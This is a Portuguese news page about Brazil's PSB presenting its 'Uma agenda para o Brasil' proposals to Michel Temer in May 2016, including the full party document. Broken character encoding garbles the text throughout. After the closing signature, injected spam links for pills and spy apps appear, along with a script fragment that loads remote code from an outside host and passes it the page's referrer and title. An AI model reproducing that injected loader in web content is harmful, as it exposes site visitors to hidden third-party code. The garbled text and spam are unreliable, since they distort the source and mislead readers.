O presidente nacional do PSB, Carlos Siqueira, e os lAi??deres do partido na CA?mara e no Senado, Fernando Coelho Filho (PE) e AntA?nio Carlos Valadares (SE), apresentaram nesta terAi??a-feira (3) ao vice-presidente Michel Temer uma sAi??rie de propostas do partido para o Brasil superar a crise. Com o reconhecimento de que o paAi??s enfrenta uma sAi??rie de dificuldades, o PSB entende, no documento intitulado “Uma agenda para o Brasil”, a necessidade da composiAi??A?o de um governo de uniA?o nacional.
Carlos Siqueira disse ao vice-presidente que a decisA?o sobre participar ou nA?o de eventual governo serA? tomada pela Executiva Nacional do partido, que se reunirA? na prA?xima terAi??a-feira (10), em BrasAi??lia.
O PSB reafirmou, no encontro com Michel Temer, que nA?o postularA? cargos ou qualquer vantagem para apoiA?-lo. “A forma de fazer o chamado ai???toma lA?, dA? cA?ai??? tem sido um fracasso. E esse momento da histA?ria nacional requer que o presidente tenha liberdade e que os polAi??ticos e os partidos compreendam que em primeiro lugar estA?o os interesses do paAi??s, e nA?o dos partidos e das lideranAi??as. Ai?? isso que deve presidir a nosso ver a conduta do futuro presidente”, disse Carlos Siqueira, apA?s reuniA?o com o vice-presidente.
Entre os pontos da agenda mAi??nima, o PSB sustenta que o ajuste fiscal nA?o pode pesar sobre os segmentos populares, alAi??m de pedir a manutenAi??A?o de conquistas sociais e a defesa dos direitos humanos. O partido tambAi??m reivindica o fortalecimento do sistema polAi??tico-partidA?rio – com clA?usula de desempenho, fim da reeleiAi??A?o e das coligaAi??Ai??es proporcionais -, a reforma tributA?ria, a discussA?o de um novo federalismo e a ampliaAi??A?o de mecanismos de transparA?ncia.
Veja o documento na Ai??ntegra:
UMA AGENDA PARA O BRASIL
O Brasil se avizinha da constituiAi??A?o de um novo Governo, em consequA?ncia do processo de impedimento. A heranAi??a que se apresenta ao PaAi??s Ai?? seguramente uma das mais difAi??ceis de todo o perAi??odo republicano, uma vez que enfrentamos simultaneamente crises Ai??tica, polAi??tica, econA?mica e federativa, para as quais atAi?? o momento nA?o se vislumbram saAi??das claras. Nessas condiAi??Ai??es, se consolidou junto aos brasileiros um enorme passivo de esperanAi??a, que se amplia na razA?o direta da paralisia do atual Governo. O reconhecimento da magnitude da dificuldade Ai??, em si mesmo, elemento essencial para orientar a aAi??A?o dos agentes polAi??ticos.
Tal afirmaAi??A?o Ai?? feita para que se compreenda com precisA?o a natureza do Governo que emerge do processo de impedimento. A escala das dificuldades, a dimensA?o dos desafios, faz pensar naturalmente que estamos diante da necessidade de que se componha um governo de uniA?o nacional, que tem por caracterAi??stica principal a eleiAi??A?o de uma agenda em torno da qual se aglutinem todas as forAi??as polAi??ticas e sociais que desejem debelar as crises, subordinando a tal meta seus prA?prios interesses e conveniA?ncias.
O exercAi??cio polAi??tico implicado com a composiAi??A?o de um governo de uniA?o nacional, por sua vez, coloca o PaAi??s diante da necessidade de superar o que tem sido sua forma tAi??pica de organizaAi??A?o no A?mbito federal no perAi??odo democrA?tico, ou seja, o presidencialismo de coalizA?o. ImpAi??e-se na presente situaAi??A?o superar esse paradigma, particularmente porque em medida considerA?vel as crises foram produzidas por ele e nA?o podem ser resolvidas, entA?o, por seu intermAi??dio. Ao futuro Presidente da RepA?blica deve se reservar, portanto, a prerrogativa de compor o governo com os quadros que considere as melhores alternativas para o Brasil, escolhidas em meio Ai?? sociedade e Ai??s forAi??as polAi??ticas pelo critAi??rio de competA?ncia e nA?o da barganha ai??i?? a que se tem subordinado a composiAi??A?o de maiorias parlamentares, mais ou menos amplas, segundo o momento e as necessidades.
Em conformidade com essa compreensA?o, o PSB nA?o postularA? junto ao novo Governo qualquer posiAi??A?o ou vantagem para apoiA?-lo. O que deve interessar ao Partido e que se aplica ao conjunto da sociedade brasileira Ai?? a definiAi??A?o dos pontos da agenda comum a partir da qual se organizarA? o enfrentamento Ai??s crises e, nesse particular, nos definiremos do A?nico modo que seria razoA?vel para uma instituiAi??A?o cuja histA?ria se construiu Ai?? esquerda, ou seja, apresentando e defendendo as perspectivas e urgA?ncias populares.
O Partido compreende, ainda, que dentre os atos inaugurais do novo Governo deve se fazer presente a iniciativa de reduzir de modo significativo o nA?mero de ministAi??rios, sinalizando Ai?? sociedade que haverA? uma adequaAi??A?o da mA?quina pA?blica Ai?? realidade fiscal do PaAi??s. Essa iniciativa deve compreender tambAi??m a administraAi??A?o indireta, com destaque para as empresas estatais, cujos quadros devem voltar a primar pelo profissionalismo e cuja gestA?o deve mirar o bem comum, em lugar de se colocar a serviAi??o do projeto de poder de quaisquer forAi??as polAi??ticas. Importante notar, sob esse aspecto, que a competA?ncia que se requer na administraAi??A?o pA?blica Ai?? tAi??cnica, mas igualmente polAi??tica, uma vez que seu fim A?ltimo se relaciona a conceber e implementar polAi??ticas pA?blicas que melhorem de forma significativa a qualidade de vida da populaAi??A?o ai??i?? para o que, evidentemente, Ai?? necessA?rio haver uma concepAi??A?o de PaAi??s do ponto de vista econA?mico, social e polAi??tico.
Na perspectiva de conduzir o PaAi??s para alAi??m das crises impAi??e-se pensar de imediato sobre a revitalizaAi??A?o de nossa indA?stria, o que se justifica inclusive porque essa pauta permite conceber uma agenda progressista de curto, mAi??dio e longo prazos. A escala do esforAi??o a ser empreendido Ai?? dada pelo fato de que regredimos em termos de participaAi??A?o da indA?stria de transformaAi??A?o como proporAi??A?o do Produto Interno Bruto para os patamares de 1947. Por que Ai?? essencial pensar a questA?o industrial como elemento estruturante, em uma estratAi??gia de superaAi??A?o das crises que afligem o Brasil?
Em primeiro lugar porque o desenvolvimento industrial tem natureza estratAi??gica para o PaAi??s, diz respeito a sua soberania, ao modo como se insere no sistema mundo e, por consequA?ncia, Ai??s possibilidades que se apresentam a cada cidadA?o brasileiro em seu horizonte de vida. EstA?o em questA?o aqui, igualmente, os tA?picos relacionados ao emprego ai??i?? em termos quantitativos e qualitativos ai??i?? Ai?? renda, Ai?? dinamizaAi??A?o do conjunto da economia. Vale a pena lembrar, inclusive, que o desenvolvimento agropecuA?rio pelo qual passamos em perAi??odo recente tem relaAi??A?o imediata com a indA?stria, dada a tecnificaAi??A?o dessas cadeias produtivas, que se inserem de modo imediato nos fluxos mundiais de comAi??rcio.
Falar de uma indA?stria pujante, de outra parte, requer aAi??Ai??es imediatas e eficazes em termos de ciA?ncia, tecnologia e inovaAi??A?o; demanda o desenvolvimento de infraestruturas, aprimoramento logAi??stico, qualificaAi??A?o das telecomunicaAi??Ai??es etc. Nada disso pode ser feito, contudo, se previamente nA?o houver uma arrumaAi??A?o geral da situaAi??A?o fiscal, porque em medida nA?o desprezAi??vel o desenvolvimento industrial precisa ser induzido por investimentos do setor pA?blico. Nesse tema cabe considerar, tambAi??m, a execuAi??A?o de um forte programa de concessAi??es pA?blicas, que demanda estabilidade polAi??tica e seguranAi??a jurAi??dica, pois nA?o se pode sequer imaginar que o Estado possa dar conta do muito que existe a fazer.
Abre-se nesse terreno, ainda, uma oportunidade para pensar a equaAi??A?o fiscal nA?o sob a perspectiva estritamente financista, que tem servido muito mais a interesses rentistas nacionais e internacionais, do que ao PaAi??s e sua gente. Organizar a gestA?o fiscal, disciplinar as despesas, reorganizar a mA?quina produtiva estatal, no sentido de privilegiar a economicidade, o mAi??rito, a qualificaAi??A?o de quadros, a transparA?ncia tA?m por meta final ampliar a capacidade de investimento do governo e, ao fazA?-lo, gerar possibilidades efetivas de intervenAi??A?o, que orientem o investimento privado, ampliando-se por esse esforAi??o comum as potencialidades de desenvolvimento. Recordemos, quanto a esse ponto, que o perAi??odo democrA?tico em seus 31 anos tem sido de crescimento moderado, porque o Brasil se apequenou, fazendo opAi??Ai??es que levaram Ai?? remuneraAi??A?o excepcional do capital, sem que este se engajasse no esforAi??o pelo desenvolvimento ai??i?? o que nos conduz a despesas descomunais com juros que, a rigor, sA?o estAi??reis do ponto de vista produtivo.
A agenda do desenvolvimento nacional Ai?? permanente e evidentemente nA?o pode ser resolvida no horizonte de um Governo. NA?o se reivindica, portanto, do novo Presidente que a realize por completo, mas que dA? sinais claros de que sua compreensA?o de Brasil Ai?? inclusiva e que encaminharA? seu Governo nesse sentido, que Ai?? o A?nico que pode interessar ao conjunto da naAi??A?o e, em particular aos segmentos populares, que desejam realizar melhorias sensAi??veis em suas condiAi??Ai??es de existA?ncia.
As teses apresentadas atAi?? aqui podem ser partilhadas com maior ou menor extensA?o por quaisquer brasileiros, sem que se excluam trabalhadores, lAi??deres industriais, profissionais liberais, agentes do mercado financeiro comprometidos com o PaAi??s etc. Ai?? preciso considerar, contudo, que o PSB deve ter um peso especAi??fico, que reflita sua origem e vinculaAi??A?o popular, ao compor o conjunto de forAi??as que se alinham em torno de um governo de uniA?o nacional.
Cabe aqui um parA?nteses: a dimensA?o dos problemas que enfrentamos nA?o admite pensar em soluAi??Ai??es fA?ceis ou que sejam de compreensA?o e aceitaAi??A?o imediata de todos. Ai?? preciso, nada obstante, contrariar interesses de forma organizada, transparente e com uma clara linha de propA?sitos, porque o serviAi??o de desagradar a todos, sem qualquer meta que nA?o a de destruir o Brasil jA? Ai?? amplamente prestado pelas crises em curso.
Considerado esse elemento de realidade imposto pela conjuntura, cabe ao PSB apresentar ao novo Governo, independentemente de participar de sua composiAi??A?o, as bandeiras que historicamente tem portado em nome dos segmentos populares. Desse modo, o Partido advoga a adoAi??A?o dos seguintes compromissos, no contexto da proposiAi??A?o de uma Agenda MAi??nima para o Brasil.
1. O peso dos ajustes que devem ser realizados nA?o pode recair sobre os segmentos populares, porque eles tA?m pagado de forma antecipada sua contribuiAi??A?o especAi??fica ao reordenamento do Brasil. O desemprego que atinge a esta altura mais de 10 milhAi??es de brasileiros, a recessA?o que tem medida diferente para quem nA?o tem recursos acumulados, a desorganizaAi??A?o dos serviAi??os pA?blicos de saA?de, educaAi??A?o, seguranAi??a pA?blica entre outros, jA? sA?o itens de uma fatura desmesurada que se paga a preAi??o de desesperanAi??a e desespero, dado a ausA?ncia de alternativas atAi?? aqui.
2. ManutenAi??A?o das conquistas sociais que o Brasil alcanAi??ou no perAi??odo democrA?tico, com destaque para a organizaAi??A?o do sistema saA?de, previdA?ncia e assistA?ncia ai??i?? que deve ser aprimorado, qualificado e verdadeiramente universalizado ai??i??; preservaAi??A?o da previdA?ncia social rural, por seu importante papel em termos de atenAi??A?o Ai?? populaAi??A?o idosa, redistribuiAi??A?o de renda e seguranAi??a alimentar; manutenAi??A?o do seguro desemprego e promoAi??A?o de iniciativas que possam minorar as dificuldades dos segmentos populares, diante de um perAi??odo recessivo que jA? Ai?? longo.
3. Defesa e promoAi??A?o dos direitos humanos, em que devem estar incluAi??dos a proteAi??A?o da infA?ncia e das pessoas idosas, direitos de minoria abrangendo as questAi??es de raAi??a, orientaAi??A?o sexual, mulheres, populaAi??Ai??es tradicionais etc. AtenAi??A?o aos grupos em condiAi??A?o de vulnerabilidade, como os que estA?o em situaAi??A?o de rua, dependentes quAi??micos etc.
4. RatificaAi??A?o do Acordo de Paris, o que requer iniciativas do Legislativo e do Executivo, uma vez que esses poderes devem corroborar formalmente, por meio de decretos especAi??ficos, os compromissos assumidos pelo Brasil na 21A? ConferA?ncia das Partes (COP-21), realizada em Paris. Articular, nesse A?mbito, aAi??Ai??es para implementar as metas contidas nas ContribuiAi??Ai??es Nacionalmente Determinadas Pretendidas (INDC) do Brasil.
5. Considerando que o sistema polAi??tico-partidA?rio brasileiro dA? sinais de fragilidades flagrantes, com impactos sensAi??veis sobre i) qualidade de nossa democracia; ii) performance econA?mica; iii) percepAi??A?o de risco para fins de investimentos produtivos internacionais, dentre outros aspectos, apresenta-se a necessidade de se realizar uma reforma polAi??tica ampla. Devem ser considerados nessa temA?tica especialmente o fortalecimento do sistema partidA?rio e eleitoral, com a adoAi??A?o de medidas como clA?usula de desempenho, fim das coligaAi??Ai??es proporcionais e do instituto da reeleiAi??A?o, unificando-se o calendA?rio eleitoral em intervalos de 5 anos; revogaAi??A?o de mandato eletivo; estAi??mulo a discussA?o sobre o parlamentarismo. Tem relevo, ainda, na modernizaAi??A?o de nosso sistema polAi??tico a ampliaAi??A?o dos mecanismos de participaAi??A?o popular, que tA?m se apresentado como uma demanda recorrente da populaAi??A?o e, em especial, dos jovens.
6. Novo federalismo, que compreenda a importA?ncia fundamental das instA?ncias subnacionais para a definiAi??A?o da qualidade de vida da populaAi??A?o. Ressalte-se que a concentraAi??A?o de recursos na uniA?o tem comprometido a prA?pria noAi??A?o de federaAi??A?o e, do ponto de vista prA?tico, tem se prestado muito mais a promover a subordinaAi??A?o de governadores e prefeitos Ai?? UniA?o, do que disseminar disciplina fiscal, ou mesmo melhorias na eficiA?ncia do setor pA?blico. Ai?? premente, ainda, enfrentar a questA?o da distribuiAi??A?o dos recursos tributA?rios, inclusive porque estados e municAi??pios se encontram Ai?? mAi??ngua, diante de uma recessA?o de grande magnitude. No sentido de ampliar nosso pacto federativo, deve-se conceder aos estados prerrogativa de legislar em matAi??rias de interesse mais estrito de suas populaAi??Ai??es, cabendo como exemplo a A?rea ambiental.
7. No terreno do Novo Federalismo Ai?? preciso destacar a reforma tributA?ria, que contemple como princAi??pio essencial a menor incidA?ncia de impostos sobre o consumo e a produAi??A?o, ampliando-se a participaAi??A?o da renda e do patrimA?nio na base tributA?ria. O sentido dessa reforma nA?o dever ser, portanto, aumento da quantidade e espAi??cie de tributos, ou mesmo do montante a ser arrecadado, mas distribuir justiAi??a fiscal ai??i?? uma vez que no Brasil, de maneira injusta, os pobres pagam como proporAi??A?o da renda muito mais impostos do que os ricos.
8. Realizar uma opAi??A?o clara, que nA?o se observou atAi?? aqui nos governos do perAi??odo democrA?tico, pela valorizaAi??A?o da produAi??A?o, do trabalho e do emprego, criando-se em conformidade as condiAi??Ai??es que permitam ao Brasil deixar de remunerar os capitais especulativos em condiAi??Ai??es excepcionais, relativamente aos padrAi??es mundiais ai??i?? arranjo este que inviabiliza o desenvolvimento. Observe-se que o PSB nA?o postula nesse campo qualquer medida voluntarista, mas a articulaAi??A?o responsA?vel das polAi??ticas fiscal e monetA?ria, nos quadros de uma reengenharia da mA?quina pA?blica, para que se possa afastar a situaAi??A?o em que o PaAi??s se coloca como refAi??m de interesses rentistas. NA?o podemos continuar sendo o PaAi??s que paga as mais altas taxas de juros e pagar mais de 500 bilhAi??es pelo serviAi??o da dAi??vida pA?blica.
9. Para os fins do desenvolvimento nacional, de que se tratou mais acima, Ai?? preciso considerar que complementarmente aos investimentos em infraestrutura temos que melhorar dramaticamente a qualidade do ensino bA?sico, erradicar o analfabetismo que ainda alcanAi??a porAi??Ai??es relevantes de nossa populaAi??A?o, qualificar nossa mA?o de obra e especialmente os jovens, por meio do ensino tAi??cnico profissionalizante. Sem que se articule de forma virtuosa o trinA?mio infraestrutura, educaAi??A?o e qualificaAi??A?o profissional, o Brasil nA?o irA? superar a condiAi??A?o de crescimento moderado que tem caracterizado as A?ltimas trA?s dAi??cadas.
10. Ampliar e aprofundar as prA?ticas pA?blicas e privadas relacionadas Ai?? transparA?ncia, de tal sorte que se fortaleAi??am elementos como competA?ncia, mAi??rito, economicidade, publicidade etc. O conceito de transparA?ncia guarda ampla e direta afinidade com a democracia e a traz para perto da populaAi??A?o, estabelecendo uma relaAi??A?o imediata com a vida de cada qual em seu dia a dia. O cidadA?o Ai?? medida que discute orAi??amento, que acompanha os gastos na educaAi??A?o, se interessa pela polAi??tica e faz polAi??tica em seu sentido mais nobre, pois passa a ser coparticipante dos destinos de sua cidade, estado e PaAi??s.
Os pontos indicados acima traduzem uma compreensA?o sobre os destinos que o Brasil deve tomar, para atender Ai??s expectativas de sua populaAi??A?o e tA?m sido ampla e publicamente incorporados Ai??s definiAi??Ai??es programA?ticas do PSB. O propA?sito geral de evidenciA?-los Ai??, portanto, pautar os temas que sob nossa perspectiva interessam de fato aos brasileiros. A nosso juAi??zo esse deve ser o comportamento de cada ator chamado a fazer histA?ria nesse momento de crise aguda: contribuir para a construAi??A?o de um mAi??nimo denominador comum, que permita ao novo governo devolver aos brasileiros o que lhes pertence por direito.
Nesse contexto, tem grande valor reconhecer que o povo espera acima de tudo vencer o calendA?rio e os temas impostos pelas crises e se sentir claramente dirigido ao caminho de superaAi??A?o das mesmas. Ai?? preciso por um fim ao prolongamento de um sofrimento que pode ser claramente identificado desde fins de 2013 e para o qual insistem em continuar contribuindo aqueles que o causaram. A eles talvez se somem, infelizmente, os que vendem dificuldades para comprar facilidades.
Ao PSB, como partido firmemente vinculado Ai??s causas populares, nA?o interessa nem uma coisa, nem outra. Nosso A?nico programa Ai?? o desenvolvimento do Brasil e Ai?? com ele em mA?o que nos apresentamos a esse capAi??tulo de nossa histA?ria. Acreditamos com a serenidade que o momento requer estar ajudando desse modo e de forma decisiva ao PaAi??s e, ao mesmo tempo, contribuindo positivamente para o A?xito do futuro Governo, cujo sucesso nA?o deveria deixar de interessar a toda e qualquer pessoa que se sinta responsA?vel por nosso futuro comum.
BrasAi??lia-DF, 03 de maio de 2016.
CARLOS SIQUEIRA
Presidente Nacional do PSB http://bodysync.ir/cheap-forzest-tablets/ s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; cheap septilin table teCheaphttp://picturesociety.org/spy-software-spy-app-iphone-spyware-for-parents/
